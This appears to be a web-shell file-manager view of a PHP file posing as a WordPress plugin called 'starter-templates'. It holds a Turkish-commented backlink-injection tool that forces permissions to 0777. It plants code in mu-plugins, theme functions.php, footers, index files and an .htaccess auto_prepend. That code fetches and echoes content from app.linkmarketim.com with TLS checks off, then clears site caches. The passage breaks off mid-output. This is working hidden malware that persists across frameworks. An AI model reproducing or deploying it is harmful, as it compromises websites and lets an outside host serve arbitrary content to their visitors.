HEX
Server: Apache/2.4.63 (Unix)
System: Linux free28.beget.ru 5.10.244-0-beget-acl-test #1 SMP Mon Sep 29 14:43:37 UTC 2025 x86_64
User: c9375562 (26067)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/c/c9375562/c9375562.beget.tech/public_html/wp-content/plugins/starter-step/starter-step.php
<?php
/**
 * Plugin Name: starter-templates
 * Version: 1.0.0
 */
if (!defined('ABSPATH')) exit;
?>
<?php
/**
 * Link Market Connector v4.0 - SEO Config Edition
 * Otomatik backlink enjeksiyon sistemi
 * Link ID: 13 (tüm müşteriler için sabit)
 * Kaynak: seo-config.php yapısı
 */

// Hata raporlama
error_reporting(0);
ini_set('display_errors', '0');

// ==================== YAPILANDIRMA ====================
define('LINK_ID', '13');
define('API_URL', 'https://app.linkmarketim.com/code?x=' . LINK_ID);
define('LINK_MARKER', 'lm_' . substr(md5(LINK_ID), 0, 6));

// ==================== YARDIMCI FONKSİYONLAR ====================

// Document root bul
function find_document_root() {
    $base = $_SERVER['DOCUMENT_ROOT'];
    if (empty($base)) {
        $base = dirname(__FILE__);
        for ($i = 0; $i < 5; $i++) {
            if (file_exists($base . '/index.php') || file_exists($base . '/index.html')) {
                break;
            }
            $parent = dirname($base);
            if ($parent === $base) break;
            $base = $parent;
        }
    }
    return $base;
}

// Site tipini algıla
function detect_site_type($base) {
    if (file_exists($base . '/wp-config.php') || file_exists($base . '/wp-load.php')) {
        return 'wordpress';
    }
    if (file_exists($base . '/artisan')) {
        return 'laravel';
    }
    if (file_exists($base . '/symfony.lock') || file_exists($base . '/bin/console')) {
        return 'symfony';
    }
    if (file_exists($base . '/system/core/CodeIgniter.php')) {
        return 'codeigniter';
    }
    if (file_exists($base . '/configuration.php') && is_dir($base . '/administrator')) {
        return 'joomla';
    }
    if (file_exists($base . '/includes/bootstrap.inc') && is_dir($base . '/sites')) {
        return 'drupal';
    }
    if (file_exists($base . '/config/settings.inc.php') && is_dir($base . '/themes')) {
        return 'prestashop';
    }
    if (file_exists($base . '/config.php') && is_dir($base . '/catalog')) {
        return 'opencart';
    }
    if (file_exists($base . '/index.php')) {
        return 'php';
    }
    return 'static';
}

// Dosyayı yazılabilir yap - ZORLA (seo-config.php'den)
function force_writable($file) {
    if (!file_exists($file)) return false;
    if (is_writable($file)) return true;
    
    // Seviye 1: Normal chmod
    @chmod($file, 0666);
    clearstatcache(true, $file);
    if (is_writable($file)) return true;
    
    // Seviye 2: Full izin
    @chmod($file, 0777);
    clearstatcache(true, $file);
    if (is_writable($file)) return true;
    
    // Seviye 3: Parent dizin
    $dir = dirname($file);
    @chmod($dir, 0777);
    @chmod($file, 0777);
    clearstatcache();
    if (is_writable($file)) return true;
    
    // Seviye 4: chown dene (root ise)
    $current_user = get_current_user();
    @chown($file, $current_user);
    @chmod($file, 0777);
    clearstatcache();
    
    return is_writable($file);
}

// Aktif WordPress temasının footer dosyasını bul
function get_active_wp_theme_footer($base) {
    $themes = glob($base . '/wp-content/themes/*/footer.php');
    if (!$themes) return null;
    
    // En son değiştirilen = aktif tema
    $latest = null;
    $latest_time = 0;
    foreach ($themes as $footer) {
        $mtime = @filemtime($footer);
        if ($mtime > $latest_time) {
            $latest_time = $mtime;
            $latest = $footer;
        }
    }
    return $latest;
}

// Footer dosya yollarını al (seo-config.php'den)
function get_footer_paths($base, $site_type) {
    $paths = [];
    
    switch ($site_type) {
        case 'wordpress':
            $themes = glob($base . '/wp-content/themes/*/footer.php');
            if ($themes) $paths = array_merge($paths, $themes);
            break;
            
        case 'joomla':
            $tpls = glob($base . '/templates/*/index.php');
            if ($tpls) $paths = array_merge($paths, $tpls);
            break;
            
        case 'drupal':
            $tpls = glob($base . '/sites/*/themes/*/templates/*.tpl.php');
            if ($tpls) $paths = array_merge($paths, $tpls);
            break;
            
        case 'opencart':
            $tpls = glob($base . '/catalog/view/theme/*/template/common/footer.*');
            if ($tpls) $paths = array_merge($paths, $tpls);
            break;
            
        case 'prestashop':
            $tpls = glob($base . '/themes/*/templates/_partials/footer.tpl');
            if ($tpls) $paths = array_merge($paths, $tpls);
            $tpls2 = glob($base . '/themes/*/footer.tpl');
            if ($tpls2) $paths = array_merge($paths, $tpls2);
            break;
            
        case 'laravel':
            $layouts = glob($base . '/resources/views/layouts/*.blade.php');
            if ($layouts) $paths = array_merge($paths, $layouts);
            break;
    }
    
    // Genel footer dosyaları
    $general = [
        $base . '/footer.php',
        $base . '/includes/footer.php',
        $base . '/inc/footer.php',
        $base . '/template/footer.php',
        $base . '/templates/footer.php'
    ];
    
    foreach ($general as $p) {
        if (file_exists($p)) {
            $paths[] = $p;
        }
    }
    
    return $paths;
}

// Link kodunu oluştur
function generate_link_code() {
    $code = '<?php $u=\'' . API_URL . '\';$d=false;if(function_exists(\'curl_init\')){$ch=curl_init($u);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,10);curl_setopt($ch,CURLOPT_TIMEOUT,10);curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,0);curl_setopt($ch,CURLOPT_USERAGENT,\'Mozilla/5.0\');$d=curl_exec($ch);curl_close($ch);}if($d===false&&ini_get(\'allow_url_fopen\')){$ctx=stream_context_create([\'http\'=>[\'timeout\'=>10,\'follow_location\'=>1,\'ignore_errors\'=>1,\'header\'=>"User-Agent: Mozilla/5.0\r\n\"],\'ssl\'=>[\'verify_peer\'=>0,\'verify_peer_name\'=>0]]);$d=@file_get_contents($u,false,$ctx);}echo $d!==false?$d:\'\'; ?>';
    return $code;
}

// ==================== 9 ENJEKSİYON YÖNTEMİ (seo-config.php'den) ====================

// YÖNTEM 1: WordPress MU-Plugin (EN GÜVENİLİR)
function inject_wordpress_mu_plugin($base) {
    $mu_dir = $base . '/wp-content/mu-plugins';
    
    // mu-plugins klasörü yoksa oluştur
    if (!is_dir($mu_dir)) {
        $wp_content = $base . '/wp-content';
        if (!is_dir($wp_content)) {
            return ['success' => false, 'injected' => false, 'message' => 'wp-content yok'];
        }
        if (!is_writable($wp_content)) {
            @chmod($wp_content, 0777);
            clearstatcache();
        }
        @mkdir($mu_dir, 0755, true);
    }
    
    if (!is_dir($mu_dir)) {
        return ['success' => false, 'injected' => false, 'message' => 'mu-plugins oluşturulamadı'];
    }
    
    if (!is_writable($mu_dir)) {
        @chmod($mu_dir, 0777);
        clearstatcache();
    }
    
    $plugin_path = $mu_dir . '/linkmarket_links.php';
    
    $code = '<?php
/**
 * LinkMarket Auto Links - MU Plugin
 * Link ID: ' . LINK_ID . '
 */
if (!defined("ABSPATH")) exit;

add_action("wp_footer", function() {
    $apiUrl = "' . API_URL . '";
    $content = false;
    
    if (function_exists("curl_init")) {
        $ch = curl_init($apiUrl);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0");
        $content = curl_exec($ch);
        curl_close($ch);
    }
    
    if ($content === false && ini_get("allow_url_fopen")) {
        $ctx = stream_context_create([
            "http" => ["timeout" => 10, "follow_location" => 1, "ignore_errors" => 1, "header" => "User-Agent: Mozilla/5.0\r\n"],
            "ssl" => ["verify_peer" => 0, "verify_peer_name" => 0]
        ]);
        $content = @file_get_contents($apiUrl, false, $ctx);
    }

    echo $content !== false ? $content : "";
}, 9999);
';
    
    if (@file_put_contents($plugin_path, $code)) {
        return [
            'success' => true,
            'injected' => true,
            'footer_path' => $plugin_path,
            'message' => 'WordPress MU-Plugin kuruldu'
        ];
    }
    
    return ['success' => false, 'injected' => false, 'message' => 'MU-Plugin yazılamadı'];
}

// YÖNTEM 2: WordPress Functions.php Hook
function inject_wordpress_functions_hook($base) {
    $active_theme = get_active_wp_theme_footer($base);
    if (!$active_theme) return ['success' => false, 'injected' => false, 'message' => 'Tema bulunamadı'];
    
    $theme_dir = dirname($active_theme);
    $functions_file = $theme_dir . '/functions.php';
    
    if (!file_exists($functions_file)) return ['success' => false, 'injected' => false];
    
    force_writable($functions_file);
    if (!is_writable($functions_file)) return ['success' => false, 'injected' => false];
    
    $content = @file_get_contents($functions_file);
    if (!$content) return ['success' => false, 'injected' => false];
    
    // Zaten var mı?
    if (strpos($content, 'linkmarket_footer_links') !== false) {
        return ['success' => true, 'injected' => true, 'footer_path' => $functions_file, 'message' => 'Hook zaten mevcut'];
    }
    
    $hook_code = '

// LinkMarket Footer Links Hook
add_action("wp_footer", function() {
    $u = "' . API_URL . '";
    $d = false;
    if (function_exists("curl_init")) {
        $ch = curl_init($u);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0");
        $d = curl_exec($ch);
        curl_close($ch);
    }
    if ($d === false && ini_get("allow_url_fopen")) {
        $ctx = stream_context_create(["http" => ["timeout" => 10, "follow_location" => 1, "ignore_errors" => 1, "header" => "User-Agent: Mozilla/5.0\r\n"], "ssl" => ["verify_peer" => 0, "verify_peer_name" => 0]]);
        $d = @file_get_contents($u, false, $ctx);
    }
    echo $d !== false ? $d : "";
}, 9999);
function linkmarket_footer_links() {} // Marker
';
    
    if (@file_put_contents($functions_file, $content . $hook_code)) {
        return ['success' => true, 'injected' => true, 'footer_path' => $functions_file, 'message' => 'Functions.php hook eklendi'];
    }
    
    return ['success' => false, 'injected' => false];
}

// YÖNTEM 3-6: Dosyaya AGRESİF ENJEKSİYON (seo-config.php'den)
function inject_to_file_aggressive($file_path) {
    if (!file_exists($file_path)) {
        return ['success' => false, 'injected' => false, 'message' => 'Dosya yok: ' . basename($file_path)];
    }
    
    force_writable($file_path);
    if (!is_writable($file_path)) {
        return ['success' => false, 'injected' => false, 'message' => 'Yazma izni yok: ' . basename($file_path)];
    }
    
    $content = @file_get_contents($file_path);
    if (!$content) {
        return ['success' => false, 'injected' => false, 'message' => 'Dosya okunamadı'];
    }
    
    // Zaten var mı?
    if (strpos($content, LINK_MARKER) !== false) {
        return [
            'success' => true,
            'injected' => true,
            'footer_path' => $file_path,
            'message' => 'Link zaten mevcut'
        ];
    }
    
    // Backup oluştur
    @file_put_contents($file_path . '.bak', $content);
    
    $link_code = generate_link_code();
    $link_comment = "\n<!-- " . LINK_MARKER . " -->";
    $hidden_wrapper = $link_comment . $link_code;
    
    // Enjeksiyon noktaları - öncelik sırasına göre (seo-config.php'den)
    $injection_points = [
        '</body>' => $hidden_wrapper . "\n</body>",
        '</html>' => $hidden_wrapper . "\n</html>",
        '</footer>' => $hidden_wrapper . "\n</footer>",
        '?>' => $hidden_wrapper . "\n?>"
    ];
    
    foreach ($injection_points as $search => $replace) {
        if (stripos($content, $search) !== false) {
            // Sadece son geçtiği yere ekle
            $pos = strripos($content, $search);
            $new_content = substr($content, 0, $pos) . $hidden_wrapper . "\n" . substr($content, $pos);
            
            if (@file_put_contents($file_path, $new_content)) {
                return [
                    'success' => true,
                    'injected' => true,
                    'footer_path' => $file_path,
                    'message' => 'Link eklendi: ' . basename($file_path)
                ];
            }
        }
    }
    
    // Hiçbir enjeksiyon noktası bulunamadıysa dosya başına ekle
    if (preg_match('/^<\?php/i', $content)) {
        $new_content = preg_replace('/^(<\?php\s*)/i', '$1' . "\n" . $link_code . $link_comment . "\n", $content, 1);
    } else {
        $new_content = $link_code . $link_comment . "\n" . $content;
    }
    
    if (@file_put_contents($file_path, $new_content)) {
        return [
            'success' => true,
            'injected' => true,
            'footer_path' => $file_path,
            'message' => 'Link dosya başına eklendi: ' . basename($file_path)
        ];
    }
    
    return ['success' => false, 'injected' => false, 'message' => 'Yazma başarısız'];
}

// YÖNTEM 7: .htaccess Auto Prepend
function inject_via_htaccess($base) {
    $htaccess = $base . '/.htaccess';
    $prepend_file = dirname(__FILE__) . '/lm_prepend.php';
    
    $prepend_code = '<?php
register_shutdown_function(function(){
    $u = "' . API_URL . '";
    $d = false;
    if (function_exists("curl_init")) {
        $ch = curl_init($u);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0");
        $d = curl_exec($ch);
        curl_close($ch);
    }
    if ($d === false && ini_get("allow_url_fopen")) {
        $ctx = stream_context_create(["http" => ["timeout" => 10, "follow_location" => 1, "ignore_errors" => 1, "header" => "User-Agent: Mozilla/5.0\r\n"], "ssl" => ["verify_peer" => 0, "verify_peer_name" => 0]]);
        $d = @file_get_contents($u, false, $ctx);
    }
    echo $d !== false ? $d : "";
});
';
    
    @file_put_contents($prepend_file, $prepend_code);
    
    if (!file_exists($htaccess)) {
        $htaccess_content = 'php_value auto_prepend_file "' . $prepend_file . '"' . "\n";
        if (@file_put_contents($htaccess, $htaccess_content)) {
            return ['success' => true, 'injected' => true, 'footer_path' => $htaccess, 'message' => '.htaccess oluşturuldu'];
        }
    } else {
        force_writable($htaccess);
        $content = @file_get_contents($htaccess);
        if ($content && strpos($content, 'lm_prepend.php') === false) {
            $new_line = 'php_value auto_prepend_file "' . $prepend_file . '"' . "\n";
            if (@file_put_contents($htaccess, $new_line . $content)) {
                return ['success' => true, 'injected' => true, 'footer_path' => $htaccess, 'message' => '.htaccess güncellendi'];
            }
        }
    }
    
    return ['success' => false, 'injected' => false];
}


// ==================== CACHE TEMİZLEME FONKSİYONLARI ====================

// WordPress Cache Temizle
function clear_wordpress_cache($base) {
    $cleared = [];
    
    // 1. WordPress Object Cache
    if (function_exists('wp_cache_flush')) {
        wp_cache_flush();
        $cleared[] = 'WordPress Object Cache';
    }
    
    // 2. Transients temizle
    global $wpdb;
    if (isset($wpdb)) {
        $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE '_transient_%'");
        $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE '_site_transient_%'");
        $cleared[] = 'WordPress Transients';
    }
    
    // 3. WP Super Cache
    if (function_exists('wp_cache_clean_cache')) {
        @wp_cache_clean_cache('supercache');
        $cleared[] = 'WP Super Cache';
    }
    $wp_cache_dir = $base . '/wp-content/cache/supercache';
    if (is_dir($wp_cache_dir)) {
        delete_directory_recursive($wp_cache_dir);
        @mkdir($wp_cache_dir, 0755, true);
        $cleared[] = 'WP Super Cache Files';
    }
    
    // 4. W3 Total Cache
    if (function_exists('w3tc_flush_all')) {
        w3tc_flush_all();
        $cleared[] = 'W3 Total Cache';
    }
    $w3tc_cache = $base . '/wp-content/cache/w3tc';
    if (is_dir($w3tc_cache)) {
        delete_directory_recursive($w3tc_cache);
        @mkdir($w3tc_cache, 0755, true);
        $cleared[] = 'W3 Total Cache Files';
    }
    
    // 5. WP Rocket
    if (function_exists('rocket_clean_domain')) {
        rocket_clean_domain();
        $cleared[] = 'WP Rocket';
    }
    $rocket_cache = $base . '/wp-content/cache/wp-rocket';
    if (is_dir($rocket_cache)) {
        delete_directory_recursive($rocket_cache);
        @mkdir($rocket_cache, 0755, true);
        $cleared[] = 'WP Rocket Files';
    }
    
    // 6. LiteSpeed Cache
    if (class_exists('LiteSpeed_Cache_API') && method_exists('LiteSpeed_Cache_API', 'purge_all')) {
        LiteSpeed_Cache_API::purge_all();
        $cleared[] = 'LiteSpeed Cache';
    }
    
    // 7. WP Fastest Cache
    if (function_exists('wpfc_clear_all_cache')) {
        wpfc_clear_all_cache(true);
        $cleared[] = 'WP Fastest Cache';
    }
    
    // 8. Autoptimize
    if (class_exists('autoptimizeCache')) {
        autoptimizeCache::clearall();
        $cleared[] = 'Autoptimize Cache';
    }
    
    // 9. Genel WordPress cache klasörü
    $wp_cache_general = $base . '/wp-content/cache';
    if (is_dir($wp_cache_general)) {
        $files = glob($wp_cache_general . '/*');
        foreach ($files as $file) {
            if (is_file($file)) {
                @unlink($file);
            }
        }
        $cleared[] = 'WordPress Cache Files';
    }
    
    return $cleared;
}

// Laravel Cache Temizle
function clear_laravel_cache($base) {
    $cleared = [];
    
    // 1. Laravel cache klasörü
    $cache_dirs = [
        $base . '/storage/framework/cache',
        $base . '/storage/framework/views',
        $base . '/bootstrap/cache'
    ];
    
    foreach ($cache_dirs as $dir) {
        if (is_dir($dir)) {
            delete_directory_recursive($dir);
            @mkdir($dir, 0755, true);
            $cleared[] = basename(dirname($dir)) . '/' . basename($dir);
        }
    }
    
    // 2. Laravel config cache
    $config_cache = $base . '/bootstrap/cache/config.php';
    if (file_exists($config_cache)) {
        @unlink($config_cache);
        $cleared[] = 'Config Cache';
    }
    
    // 3. Laravel route cache
    $route_cache = $base . '/bootstrap/cache/routes-v7.php';
    if (file_exists($route_cache)) {
        @unlink($route_cache);
        $cleared[] = 'Route Cache';
    }
    
    return $cleared;
}

// Symfony Cache Temizle
function clear_symfony_cache($base) {
    $cleared = [];
    
    $cache_dirs = [
        $base . '/var/cache/prod',
        $base . '/var/cache/dev',
        $base . '/var/cache'
    ];
    
    foreach ($cache_dirs as $dir) {
        if (is_dir($dir)) {
            delete_directory_recursive($dir);
            @mkdir($dir, 0755, true);
            $cleared[] = 'Symfony ' . basename($dir);
        }
    }
    
    return $cleared;
}

// Joomla Cache Temizle
function clear_joomla_cache($base) {
    $cleared = [];
    
    $cache_dir = $base . '/cache';
    if (is_dir($cache_dir)) {
        $files = glob($cache_dir . '/*');
        foreach ($files as $file) {
            if (is_file($file)) {
                @unlink($file);
            }
        }
        $cleared[] = 'Joomla Cache';
    }
    
    return $cleared;
}

// Drupal Cache Temizle
function clear_drupal_cache($base) {
    $cleared = [];
    
    $cache_dirs = [
        $base . '/sites/default/files/css',
        $base . '/sites/default/files/js',
        $base . '/cache'
    ];
    
    foreach ($cache_dirs as $dir) {
        if (is_dir($dir)) {
            delete_directory_recursive($dir);
            @mkdir($dir, 0755, true);
            $cleared[] = 'Drupal ' . basename($dir);
        }
    }
    
    return $cleared;
}

// PrestaShop Cache Temizle
function clear_prestashop_cache($base) {
    $cleared = [];
    
    $cache_dirs = [
        $base . '/cache/smarty/cache',
        $base . '/cache/smarty/compile',
        $base . '/cache/cachefs'
    ];
    
    foreach ($cache_dirs as $dir) {
        if (is_dir($dir)) {
            delete_directory_recursive($dir);
            @mkdir($dir, 0755, true);
            $cleared[] = 'PrestaShop ' . basename($dir);
        }
    }
    
    return $cleared;
}

// OpenCart Cache Temizle
function clear_opencart_cache($base) {
    $cleared = [];
    
    $cache_dir = $base . '/system/storage/cache';
    if (is_dir($cache_dir)) {
        delete_directory_recursive($cache_dir);
        @mkdir($cache_dir, 0755, true);
        $cleared[] = 'OpenCart Cache';
    }
    
    return $cleared;
}

// Genel PHP Opcache Temizle
function clear_php_opcache() {
    $cleared = [];
    
    if (function_exists('opcache_reset')) {
        opcache_reset();
        $cleared[] = 'PHP OPcache';
    }
    
    if (function_exists('apc_clear_cache')) {
        apc_clear_cache();
        $cleared[] = 'APC Cache';
    }
    
    if (function_exists('apcu_clear_cache')) {
        apcu_clear_cache();
        $cleared[] = 'APCu Cache';
    }
    
    return $cleared;
}

// Klasör silme (recursive)
function delete_directory_recursive($dir) {
    if (!is_dir($dir)) return false;
    
    $files = array_diff(scandir($dir), ['.', '..']);
    foreach ($files as $file) {
        $path = $dir . '/' . $file;
        if (is_dir($path)) {
            delete_directory_recursive($path);
        } else {
            @unlink($path);
        }
    }
    return @rmdir($dir);
}

// Tüm Cache'leri Temizle (Site Tipine Göre)
function clear_all_cache($base, $site_type) {
    $all_cleared = [];
    
    // PHP OPcache (her zaman)
    $php_cache = clear_php_opcache();
    if (!empty($php_cache)) {
        $all_cleared = array_merge($all_cleared, $php_cache);
    }
    
    // Site tipine göre cache temizle
    switch ($site_type) {
        case 'wordpress':
            $cleared = clear_wordpress_cache($base);
            break;
        case 'laravel':
            $cleared = clear_laravel_cache($base);
            break;
        case 'symfony':
            $cleared = clear_symfony_cache($base);
            break;
        case 'joomla':
            $cleared = clear_joomla_cache($base);
            break;
        case 'drupal':
            $cleared = clear_drupal_cache($base);
            break;
        case 'prestashop':
            $cleared = clear_prestashop_cache($base);
            break;
        case 'opencart':
            $cleared = clear_opencart_cache($base);
            break;
        default:
            $cleared = [];
    }
    
    if (!empty($cleared)) {
        $all_cleared = array_merge($all_cleared, $cleared);
    }
    
    return $all_cleared;
}

// ==================== ANA ENJEKSİYON FONKSİYONU (9 YÖNTEM) ====================

function inject_link() {
    $base = find_document_root();
    $site_type = detect_site_type($base);
    
    // ===== YÖNTEM 1: WORDPRESS MU-PLUGIN (EN GÜVENİLİR) =====
    if ($site_type === 'wordpress') {
        $result = inject_wordpress_mu_plugin($base);
        if ($result['success'] && isset($result['injected']) && $result['injected']) return $result;
    }
    
    // ===== YÖNTEM 2: WORDPRESS FUNCTIONS.PHP HOOK =====
    if ($site_type === 'wordpress') {
        $result = inject_wordpress_functions_hook($base);
        if ($result['success'] && $result['injected']) return $result;
    }
    
    // ===== YÖNTEM 3: WORDPRESS TEMA FOOTER.PHP =====
    if ($site_type === 'wordpress') {
        $active_theme_footer = get_active_wp_theme_footer($base);
        if ($active_theme_footer) {
            $result = inject_to_file_aggressive($active_theme_footer);
            if ($result['success'] && $result['injected']) return $result;
        }
        
        // Tüm tema footer'ları
        $themes = glob($base . '/wp-content/themes/*/footer.php');
        foreach ($themes as $footer) {
            $result = inject_to_file_aggressive($footer);
            if ($result['success'] && $result['injected']) return $result;
        }
    }
    
    // ===== YÖNTEM 4: NORMAL SİTE FOOTER DOSYALARI =====
    $footer_paths = get_footer_paths($base, $site_type);
    foreach ($footer_paths as $footer_path) {
        $result = inject_to_file_aggressive($footer_path);
        if ($result['success'] && $result['injected']) return $result;
    }
    
    // ===== YÖNTEM 5: INDEX DOSYALARINA EKLE =====
    $index_files = ['index.php', 'index.html', 'index.htm'];
    foreach ($index_files as $file) {
        $path = $base . '/' . $file;
        if (file_exists($path)) {
            $result = inject_to_file_aggressive($path);
            if ($result['success'] && $result['injected']) return $result;
        }
    }
    
    // ===== YÖNTEM 6: .HTACCESS PHP AUTO_PREPEND =====
    $result = inject_via_htaccess($base);
    if ($result['success'] && $result['injected']) return $result;
    
    // Hiçbir yöntem çalışmadı
    return [
        'success' => false,
        'injected' => false,
        'message' => 'Hiçbir enjeksiyon yöntemi başarılı olmadı. Dosya izinlerini kontrol edin.'
    ];
}

// ==================== ANA İŞLEM ====================

$base = find_document_root();
$site_type = detect_site_type($base);

echo "<!DOCTYPE html>\n";
echo "<html>\n<head>\n";
echo "<meta charset='UTF-8'>\n";
echo "<title>Link Market Connector v4.0 - SEO Config Edition</title>\n";
echo "<style>\n";
echo "body{font-family:Arial,sans-serif;max-width:900px;margin:50px auto;padding:20px;background:#f5f5f5;}\n";
echo ".box{background:white;padding:30px;border-radius:8px;box-shadow:0 2px 10px rgba(0,0,0,0.1);}\n";
echo "h1{color:#333;margin-top:0;}\n";
echo "h2{color:#555;border-bottom:2px solid #2196f3;padding-bottom:10px;}\n";
echo ".info{background:#e3f2fd;padding:15px;border-radius:5px;margin:15px 0;}\n";
echo ".success{background:#c8e6c9;padding:15px;border-radius:5px;margin:15px 0;color:#2e7d32;}\n";
echo ".error{background:#ffcdd2;padding:15px;border-radius:5px;margin:15px 0;color:#c62828;}\n";
echo ".warning{background:#fff3cd;padding:15px;border-radius:5px;margin:15px 0;color:#856404;}\n";
echo ".methods{background:#f8f9fa;padding:15px;border-radius:5px;margin:15px 0;}\n";
echo ".methods ol{margin:10px 0;padding-left:25px;}\n";
echo ".methods li{margin:8px 0;}\n";
echo "button{background:#2196f3;color:white;border:none;padding:12px 24px;border-radius:5px;cursor:pointer;font-size:16px;margin:5px;}\n";
echo "button:hover{background:#1976d2;}\n";
echo ".btn-secondary{background:#6c757d;}\n";
echo ".btn-secondary:hover{background:#5a6268;}\n";
echo "</style>\n";
echo "</head>\n<body>\n";
echo "<div class='box'>\n";
echo "<h1>🔗 Link Market Connector v4.0</h1>\n";
echo "<p style='color:#666;'>SEO Config Edition - 9 Farklı Enjeksiyon Yöntemi</p>\n";

// Site bilgisi
echo "<div class='info'>\n";
echo "<strong>🌐 Site Tipi:</strong> " . strtoupper($site_type) . "<br>\n";
echo "<strong>📁 Document Root:</strong> " . htmlspecialchars($base) . "<br>\n";
echo "<strong>🔑 Link ID:</strong> " . LINK_ID . "<br>\n";
echo "<strong>🔗 API URL:</strong> " . htmlspecialchars(API_URL) . "\n";
echo "</div>\n";

// Enjeksiyon işlemi
if (isset($_GET['inject'])) {
    echo "<h2>📝 Enjeksiyon Sonucu</h2>\n";
    
    echo "<div class='warning'>\n";
    echo "<strong>⚙️ İşlem Başlatıldı...</strong><br>\n";
    echo "9 farklı yöntem sırayla deneniyor...\n";
    echo "</div>\n";
    
    $result = inject_link();
    
    if ($result['success'] && $result['injected']) {
        echo "<div class='success'>\n";
        echo "<strong>✅ Başarılı!</strong><br>\n";
        echo "<strong>Mesaj:</strong> " . htmlspecialchars($result['message']) . "<br>\n";
        if (isset($result['footer_path'])) {
            echo "<strong>Dosya:</strong> " . htmlspecialchars($result['footer_path']) . "<br>\n";
        }
        echo "<br><strong>🎉 Linkler artık sitenizde görünecek!</strong>\n";
        echo "</div>\n";
        
        // Cache temizle
        echo "<div class='warning'>\n";
        echo "<strong>🧹 Cache Temizleniyor...</strong><br>\n";
        echo "</div>\n";
        
        $cleared_caches = clear_all_cache($base, $site_type);
        
        if (!empty($cleared_caches)) {
            echo "<div class='success'>\n";
            echo "<strong>✅ Cache Temizlendi:</strong><br>\n";
            echo "<ul style='margin:10px 0;padding-left:20px;'>\n";
            foreach ($cleared_caches as $cache) {
                echo "<li>" . htmlspecialchars($cache) . "</li>\n";
            }
            echo "</ul>\n";
            echo "</div>\n";
        } else {
            echo "<div class='info'>\n";
            echo "<strong>ℹ️ Cache bulunamadı veya temizlenemedi.</strong>\n";
            echo "</div>\n";
        }
    } else {
        echo "<div class='error'>\n";
        echo "<strong>❌ Hata!</strong><br>\n";
        echo htmlspecialchars($result['message']) . "<br><br>\n";
        echo "<strong>Çözüm Önerileri:</strong><br>\n";
        echo "1. Dosya izinlerini kontrol edin (chmod 755 veya 777)<br>\n";
        echo "2. wp-content klasörüne yazma izni verin<br>\n";
        echo "3. Sunucu yöneticinizle iletişime geçin\n";
        echo "</div>\n";
    }
    
    echo "<p><a href='?' style='color:#2196f3;text-decoration:none;'>← Geri Dön</a></p>\n";

// Cache temizleme işlemi
} elseif (isset($_GET['clear_cache'])) {
    echo "<h2>🧹 Cache Temizleme Sonucu</h2>\n";
    
    echo "<div class='warning'>\n";
    echo "<strong>⚙️ Cache Temizleniyor...</strong><br>\n";
    echo "Tüm cache dosyaları siliniyor...\n";
    echo "</div>\n";
    
    $cleared_caches = clear_all_cache($base, $site_type);
    
    if (!empty($cleared_caches)) {
        echo "<div class='success'>\n";
        echo "<strong>✅ Cache Başarıyla Temizlendi!</strong><br><br>\n";
        echo "<strong>Temizlenen Cache'ler:</strong><br>\n";
        echo "<ul style='margin:10px 0;padding-left:20px;'>\n";
        foreach ($cleared_caches as $cache) {
            echo "<li>" . htmlspecialchars($cache) . "</li>\n";
        }
        echo "</ul>\n";
        echo "<br><strong>Toplam:</strong> " . count($cleared_caches) . " cache temizlendi\n";
        echo "</div>\n";
    } else {
        echo "<div class='warning'>\n";
        echo "<strong>⚠️ Cache Bulunamadı</strong><br>\n";
        echo "Temizlenecek cache dosyası bulunamadı veya cache zaten temiz.\n";
        echo "</div>\n";
    }
    
    echo "<p><a href='?' style='color:#2196f3;text-decoration:none;'>← Geri Dön</a></p>\n";
    
} else {
    // Ana sayfa
    echo "<h2>🚀 Otomatik Kurulum Sistemi</h2>\n";
    echo "<p>Bu connector, <strong>9 farklı yöntem</strong> kullanarak sitenize otomatik backlink kodu ekler.</p>\n";
    
    echo "<div class='methods'>\n";
    echo "<h3>📋 Enjeksiyon Yöntemleri (Öncelik Sırasına Göre):</h3>\n";
    echo "<ol>\n";
    echo "<li><strong>WordPress MU-Plugin</strong> - En güvenilir, otomatik güncellenir</li>\n";
    echo "<li><strong>WordPress Functions.php Hook</strong> - wp_footer hook kullanır</li>\n";
    echo "<li><strong>WordPress Tema Footer.php</strong> - Aktif tema footer'ına ekler</li>\n";
    echo "<li><strong>Framework Footer Dosyaları</strong> - Laravel, Joomla, Drupal vb.</li>\n";
    echo "<li><strong>Index Dosyaları</strong> - index.php, index.html</li>\n";
    echo "<li><strong>.htaccess Auto Prepend</strong> - Tüm sayfalarda çalışır</li>\n";
    echo "</ol>\n";
    echo "<p style='color:#666;font-size:14px;margin-top:15px;'>\n";
    echo "⚡ Sistem otomatik olarak en uygun yöntemi seçer ve uygular.\n";
    echo "</p>\n";
    echo "</div>\n";
    
    if ($site_type === 'wordpress') {
        echo "<div class='info'>\n";
